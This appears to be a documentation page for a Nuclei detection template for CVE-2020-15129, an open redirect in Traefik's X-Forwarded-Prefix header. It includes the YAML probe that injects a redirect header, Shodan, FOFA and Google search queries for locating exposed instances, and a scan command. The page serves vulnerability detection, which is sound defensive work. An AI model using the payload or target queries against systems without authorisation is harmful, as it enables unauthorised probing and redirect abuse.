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Traefik - Open Redirect

ID: CVE-2020-15129

Severity: medium

Author: dwisiswant0

Tags: cve,cve2020,traefik,redirect

Description

Section titled “Description”

Traefik before 1.7.26, 2.2.8, and 2.3.0-rc3 contains an open redirect vulnerability in the X-Forwarded-Prefix header. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.

YAML Source

Section titled “YAML Source”
id: CVE-2020-15129


info:
  name: Traefik - Open Redirect
  author: dwisiswant0
  severity: medium
  description: Traefik before 1.7.26, 2.2.8, and 2.3.0-rc3 contains an open redirect vulnerability in the X-Forwarded-Prefix header. An attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations.
  impact: |
    An attacker can manipulate the redirect URL and trick users into visiting malicious websites.
  remediation: |
    Apply the vendor-provided patch or upgrade to a non-vulnerable version of Traefik.
  reference:
    - https://securitylab.github.com/advisories/GHSL-2020-140-Containous-Traefik
    - https://github.com/containous/traefik/releases/tag/v2.2.8
    - https://github.com/containous/traefik/pull/7109
    - https://github.com/containous/traefik/security/advisories/GHSA-6qq8-5wq3-86rp
    - https://nvd.nist.gov/vuln/detail/CVE-2020-15129
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.7
    cve-id: CVE-2020-15129
    cwe-id: CWE-601
    epss-score: 0.01168
    epss-percentile: 0.84908
    cpe: cpe:2.3:a:traefik:traefik:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: traefik
    product: traefik
    shodan-query: http.title:"traefik"
    fofa-query: title="traefik"
    google-query: intitle:"traefik"
  tags: cve,cve2020,traefik,redirect


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    headers:
      X-Forwarded-Prefix: "https://foo.nl"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<a href=\"https://foo.nl/dashboard/\">Found</a>"


      - type: status
        status:
          - 302
# digest: 4b0a00483046022100eae6cf4f2a3aab5d5a21a4e026a8d8127f670db1e393a0f54a8c132e2a59e4c6022100ff6b8a85ac2549fdeacdda5c4656f2b8499e90dc6834890354a9172e351372a1:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2020/CVE-2020-15129.yaml"

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